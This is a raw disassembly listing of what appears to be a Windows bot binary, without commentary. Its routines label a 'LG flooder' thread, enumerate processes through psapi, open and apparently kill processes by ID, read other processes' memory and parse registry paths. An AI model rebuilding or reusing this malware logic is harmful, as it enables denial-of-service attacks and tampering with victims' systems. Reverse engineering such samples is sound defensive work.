		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+var_1354]
		add	eax, 14h
		push	eax
		push	[ebp+var_133C]
		call	sub_40407D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ah], ax
		movzx	eax, [ebp+var_E]
		test	eax, eax
		jnz	short loc_405D7F
		call	sub_41043F
		mov	ecx, [ebp+var_133C]
		mov	[ecx+16h], ax


loc_405D7F:				; CODE XREF: sub_4055E5+789j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238
		mov	ecx, [ebp+var_133C]
		mov	[ecx+14h], ax
		mov	eax, [ebp+var_1354]
		add	eax, 8
		push	eax
		call	dword_417238
		mov	ecx, [ebp+var_133C]
		mov	[ecx+18h], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+var_1074]
		push	eax
		push	[ebp+var_1078]
		call	dword_417250
		mov	[ebp+var_1348],	eax
		cmp	[ebp+var_1348],	0FFFFFFFFh
		jnz	short loc_405E08
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_405E41
; ---------------------------------------------------------------------------


loc_405E08:				; CODE XREF: sub_4055E5+805j
		push	[ebp+var_1083]
		call	dword_41709C
		mov	eax, [ebp+var_1334]
		cmp	dword ptr [eax+4], 0
		jz	short loc_405E22
		jmp	short loc_405E27
; ---------------------------------------------------------------------------


loc_405E22:				; CODE XREF: sub_4055E5+839j
		jmp	loc_4057A9
; ---------------------------------------------------------------------------


loc_405E27:				; CODE XREF: sub_4055E5+1DDj
					; sub_4055E5+83Bj
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_405E41:				; CODE XREF: sub_4055E5+59j
					; sub_4055E5+94j ...
		leave
		retn	4
sub_4055E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E45	proc near		; CODE XREF: sub_40A9CF+8B2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_8], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_14], 0
		jnz	short loc_405E62


loc_405E5D:				; CODE XREF: sub_405E45+Aj
					; sub_405E45+10j
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E62:				; CODE XREF: sub_405E45+16j
		push	2B9h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405E7B
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E7B:				; CODE XREF: sub_405E45+2Fj
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 2A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_C]
		call	sub_416B9C
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2ADh], eax
		push	[ebp+arg_10]
		call	sub_416B9C
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B1h], eax
		push	[ebp+arg_14]
		call	sub_416B9C
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B5h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 0EA60h
		jge	short loc_405F0E
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_8], eax
		jmp	short loc_405F15
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_405E45+B9j
		mov	[ebp+var_8], 0EA60h


loc_405F15:				; CODE XREF: sub_405E45+C7j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+2B1h], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 64h
		jle	short loc_405F3B
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_C], eax
		jmp	short loc_405F42
; ---------------------------------------------------------------------------


loc_405F3B:				; CODE XREF: sub_405E45+E6j
		mov	[ebp+var_C], 64h


loc_405F42:				; CODE XREF: sub_405E45+F4j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+2B1h], ecx
		push	offset aLgFlooder ; "LG	flooder"
		push	0
		push	[ebp+var_4]
		push	offset sub_4055E5
		call	sub_4095A4
		add	esp, 10h

locret_405F65:				; CODE XREF: sub_405E45:loc_405E5Dj
					; sub_405E45+31j
		leave
		retn
sub_405E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F67	proc near		; CODE XREF: sub_4017AA+6Ep
					; sub_401D6E+77p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_405F8E
		push	1A3h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+198h], 1
		jmp	short loc_405FA1
; ---------------------------------------------------------------------------


loc_405F8E:				; CODE XREF: sub_405F67+7j
		push	1A3h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B52
		add	esp, 0Ch


loc_405FA1:				; CODE XREF: sub_405F67+25j
		pop	ebp
		retn
sub_405F67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FA3	proc near		; CODE XREF: .packed:004168C1p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_41E390
		call	sub_409C36
		pop	ecx
		push	offset aPsapi_dll ; "psapi.dll"
		call	dword_417054
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405FC8
		jmp	short locret_40603F
; ---------------------------------------------------------------------------


loc_405FC8:				; CODE XREF: sub_405FA3+21j
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	[ebp+var_4]
		call	dword_417058
		mov	dword_41E38C, eax
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	[ebp+var_4]
		call	dword_417058
		mov	dword_41E380, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	[ebp+var_4]
		call	dword_417058
		mov	dword_41E384, eax
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	[ebp+var_4]
		call	dword_417058
		mov	dword_41E388, eax
		cmp	dword_41E38C, 0
		jz	short locret_40603F
		cmp	dword_41E380, 0
		jz	short locret_40603F
		cmp	dword_41E384, 0
		jz	short locret_40603F
		cmp	dword_41E388, 0
		jz	short locret_40603F
		mov	byte_41E3AC, 1

locret_40603F:				; CODE XREF: sub_405FA3+23j
					; sub_405FA3+78j ...
		leave
		retn
sub_405FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406041	proc near		; CODE XREF: sub_401244:loc_40129Dp
					; sub_40637C+29p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_12B		= byte ptr -12Bh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	esi
		push	edi
		push	offset dword_41E390
		call	sub_409C6C
		pop	ecx
		movzx	eax, byte_41E3AC
		test	eax, eax
		jnz	short loc_406074
		push	offset dword_41E390
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	loc_40636A
; ---------------------------------------------------------------------------


loc_406074:				; CODE XREF: sub_406041+1Fj
		and	[ebp+var_C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_1C], 0
		push	[ebp+var_1C]
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_406097
		jmp	loc_406368
; ---------------------------------------------------------------------------


loc_406097:				; CODE XREF: sub_406041+4Fj
					; sub_406041:loc_4060E9j
		mov	eax, [ebp+var_1C]
		add	eax, 80h
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	sub_416BF6
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4060BD
		jmp	loc_406366
; ---------------------------------------------------------------------------


loc_4060BD:				; CODE XREF: sub_406041+75j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	dword_41E38C
		test	eax, eax
		jnz	short loc_4060DF
		push	[ebp+var_14]
		call	sub_416B4C
		pop	ecx
		jmp	loc_406364
; ---------------------------------------------------------------------------


loc_4060DF:				; CODE XREF: sub_406041+8Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		jnb	short loc_4060E9
		jmp	short loc_4060EB
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_406041+A4j
		jmp	short loc_406097
; ---------------------------------------------------------------------------


loc_4060EB:				; CODE XREF: sub_406041+A6j
		mov	eax, [ebp+var_4]
		shr	eax, 2
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_40611E
		push	[ebp+var_14]
		call	sub_416B4C
		pop	ecx
		jmp	loc_406362
; ---------------------------------------------------------------------------


loc_40611E:				; CODE XREF: sub_406041+CDj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		add	eax, 8
		mov	ecx, [ebp+var_C]
		mov	[ecx+4], eax
		and	[ebp+var_10], 0
		jmp	short loc_40613F
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_406041+156j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_40613F:				; CODE XREF: sub_406041+F5j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	short loc_406199
		push	114h
		push	0
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax], edx
		push	offset aSystem	; "system"
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_406138
; ---------------------------------------------------------------------------


loc_406199:				; CODE XREF: sub_406041+104j
		push	[ebp+var_14]
		call	sub_416B4C
		pop	ecx
		and	[ebp+var_10], 0
		jmp	short loc_4061AF
; ---------------------------------------------------------------------------


loc_4061A8:				; CODE XREF: sub_406041+1A8j
					; sub_406041+1D8j ...
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4061AF:				; CODE XREF: sub_406041+165j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	loc_406343
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		push	410h
		call	dword_417094
		mov	[ebp+var_130], eax
		cmp	[ebp+var_130], 0
		jnz	short loc_4061EB
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_406041+1A6j
		and	[ebp+var_20], 0
		and	[ebp+var_28], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_130]
		call	dword_41E380
		test	eax, eax
		jnz	short loc_40621B
		push	[ebp+var_130]
		call	dword_4170A4
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_40621B:				; CODE XREF: sub_406041+1CAj
		push	0Ch
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_28]
		push	[ebp+var_130]
		call	dword_41E388
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_13C]
		mov	[ecx+eax+4], edx
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_138]
		mov	[ecx+eax+8], edx
		mov	al, byte_41DF10
		mov	[ebp+var_12C], al
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_12B]
		rep stosd
		stosw
		stosb
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_13C]
		push	[ebp+var_130]
		call	dword_41E384
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_406332
		movsx	eax, [ebp+var_12C]
		test	eax, eax
		jz	short loc_406332
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B58
		add	esp, 0Ch
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_4062F7
; ---------------------------------------------------------------------------


loc_4062F0:				; CODE XREF: sub_406041:loc_406330j
		mov	eax, [ebp+var_18]
		dec	eax
		mov	[ebp+var_18], eax


loc_4062F7:				; CODE XREF: sub_406041+2ADj
		cmp	[ebp+var_18], 0
		jz	short loc_406332
		cmp	[ebp+var_18], 1
		ja	short loc_406305
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406305:				; CODE XREF: sub_406041+2C0j
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [ebp+eax+var_130+3]
		cmp	eax, 5Ch
		jnz	short loc_406330
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_18]
		mov	[ecx+eax+110h],	edx
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406330:				; CODE XREF: sub_406041+2D2j
		jmp	short loc_4062F0
; ---------------------------------------------------------------------------


loc_406332:				; CODE XREF: sub_406041+264j
					; sub_406041+273j ...
		push	[ebp+var_130]
		call	dword_4170A4
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_406343:				; CODE XREF: sub_406041+174j
		push	offset dword_41E390
		call	sub_409C7A
		pop	ecx
		mov	eax, [ebp+var_C]
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406353:				; CODE XREF: sub_406041:loc_406362j
					; sub_406041:loc_406364j ...
		push	offset dword_41E390
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406362:				; CODE XREF: sub_406041+D8j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406364:				; CODE XREF: sub_406041+99j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406366:				; CODE XREF: sub_406041+77j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406368:				; CODE XREF: sub_406041+51j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_40636A:				; CODE XREF: sub_406041+2Ej
					; sub_406041+310j ...
		pop	edi
		pop	esi
		leave
		retn
sub_406041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40636E	proc near		; CODE XREF: sub_401244+4D2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		pop	ebp
		retn
sub_40636E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40637C	proc near		; DATA XREF: sub_4064BF+3Bo

var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		call	sub_406041
		mov	[ebp+var_1AC], eax
		cmp	[ebp+var_1AC], 0
		jz	loc_4064AD
		mov	eax, [ebp+var_1AC]
		push	dword ptr [eax]
		mov	eax, [ebp+var_1A8]
		push	dword ptr [eax]
		push	offset dword_418B1C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1B0], 0
		jmp	short loc_4063F7
; ---------------------------------------------------------------------------


loc_4063EA:				; CODE XREF: sub_40637C:loc_40649Cj
		mov	eax, [ebp+var_1B0]
		inc	eax
		mov	[ebp+var_1B0], eax


loc_4063F7:				; CODE XREF: sub_40637C+6Cj
		mov	eax, [ebp+var_1AC]
		mov	ecx, [ebp+var_1B0]
		cmp	ecx, [eax]
		jge	loc_4064A1
		push	3E8h
		call	dword_41709C
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+8]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+4]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	offset dword_418B04
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		mov	eax, [ebp+var_1A8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40649C
		jmp	short loc_4064A1
; ---------------------------------------------------------------------------


loc_40649C:				; CODE XREF: sub_40637C+11Cj
		jmp	loc_4063EA
; ---------------------------------------------------------------------------


loc_4064A1:				; CODE XREF: sub_40637C+89j
					; sub_40637C+11Ej
		push	[ebp+var_1AC]
		call	sub_416B4C
		pop	ecx


loc_4064AD:				; CODE XREF: sub_40637C+3Bj
		push	[ebp+var_1A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40637C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064BF	proc near		; CODE XREF: sub_40A9CF+3FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4064D9
		jmp	short locret_406507
; ---------------------------------------------------------------------------


loc_4064D9:				; CODE XREF: sub_4064BF+16j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	offset dword_418B44
		push	0
		push	[ebp+var_4]
		push	offset sub_40637C
		call	sub_4095A4
		add	esp, 10h

locret_406507:				; CODE XREF: sub_4064BF+18j
		leave
		retn
sub_4064BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406509	proc near		; CODE XREF: sub_40A9CF+9C9p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_4], 0
		jz	short loc_40651B
		cmp	[ebp+arg_C], 0
		jnz	short loc_406520


loc_40651B:				; CODE XREF: sub_406509+Aj
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406520:				; CODE XREF: sub_406509+10j
		push	[ebp+arg_4]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		call	sub_40A8AD
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_C]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 180h
		jbe	short loc_406554
		mov	[ebp+var_4], 180h


loc_406554:				; CODE XREF: sub_406509+42j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_1C], eax
		push	[ebp+var_8]
		push	0
		push	10h
		call	dword_417094
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_406586
		push	[ebp+var_1C]
		call	sub_416B4C
		pop	ecx
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406586:				; CODE XREF: sub_406509+6Dj
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_1C]
		push	[ebp+var_C]
		push	[ebp+var_18]
		call	dword_417098
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40662F
		cmp	[ebp+var_14], 0
		jz	short loc_40662F
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		and	[ebp+var_20], 0
		jmp	short loc_4065C9
; ---------------------------------------------------------------------------


loc_4065C2:				; CODE XREF: sub_406509:loc_406620j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4065C9:				; CODE XREF: sub_406509+B7j
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+var_14]
		jnb	short loc_406622
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 16h
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 10h
		jg	short loc_406620


loc_406617:				; CODE XREF: sub_406509+D4j
					; sub_406509+E2j ...
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		mov	byte ptr [eax],	2Eh


loc_406620:				; CODE XREF: sub_406509+10Cj
		jmp	short loc_4065C2
; ---------------------------------------------------------------------------


loc_406622:				; CODE XREF: sub_406509+C6j
		push	[ebp+var_1C]
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40662F:				; CODE XREF: sub_406509+9Ej
					; sub_406509+A8j
		push	[ebp+var_1C]
		call	sub_416B4C
		pop	ecx
		push	[ebp+var_18]
		call	dword_4170A4

locret_406641:				; CODE XREF: sub_406509:loc_40651Bj
					; sub_406509+78j
		leave
		retn
sub_406509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406643	proc near		; CODE XREF: sub_40A9CF+3D7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_406650
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406650:				; CODE XREF: sub_406643+9j
		push	[ebp+arg_4]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_4], eax
		call	dword_4170E8
		cmp	[ebp+var_4], eax
		jnz	short loc_406669
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406669:				; CODE XREF: sub_406643+22j
		push	[ebp+var_4]
		push	0
		push	1
		call	dword_417094
		mov	[ebp+var_8], eax
		push	0
		push	[ebp+var_8]
		call	dword_4170A0
		push	[ebp+var_8]
		call	dword_4170A4

locret_40668D:				; CODE XREF: sub_406643+Bj
					; sub_406643+24j
		leave
		retn
sub_406643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40668F	proc near		; CODE XREF: sub_403DF3+149p
					; sub_40A9CF+BDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_4066A0
; ---------------------------------------------------------------------------


loc_406699:				; CODE XREF: sub_40668F+2Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066A0:				; CODE XREF: sub_40668F+8j
		cmp	[ebp+var_4], 8
		jge	short loc_4066BB
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_406699
; ---------------------------------------------------------------------------


loc_4066BB:				; CODE XREF: sub_40668F+15j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066CF
; ---------------------------------------------------------------------------


loc_4066C8:				; CODE XREF: sub_40668F+59j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066CF:				; CODE XREF: sub_40668F+37j
		cmp	[ebp+var_4], 6
		jge	short loc_4066EA
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066C8
; ---------------------------------------------------------------------------


loc_4066EA:				; CODE XREF: sub_40668F+44j
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+6], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066FE
; ---------------------------------------------------------------------------


loc_4066F7:				; CODE XREF: sub_40668F+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066FE:				; CODE XREF: sub_40668F+66j
		cmp	[ebp+var_4], 10h
		jge	short loc_406719
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066F7
; ---------------------------------------------------------------------------


loc_406719:				; CODE XREF: sub_40668F+73j
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax+10h], 0
		leave
		retn
sub_40668F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406722	proc near		; CODE XREF: sub_40A9CF+F40p

var_424		= byte ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		cmp	[ebp+arg_4], 0
		jnz	short loc_406736
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406736:				; CODE XREF: sub_406722+Dj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+4]
		cmp	eax, 5Ch
		jz	short loc_406747
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406747:				; CODE XREF: sub_406722+1Ej
		push	4
		push	offset aHkcr	; "HKCR"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406769
		mov	[ebp+var_218], 80000000h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_406769:				; CODE XREF: sub_406722+39j
		push	4
		push	offset aHkcu	; "HKCU"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40678B
		mov	[ebp+var_218], 80000001h
		jmp	short loc_4067D4
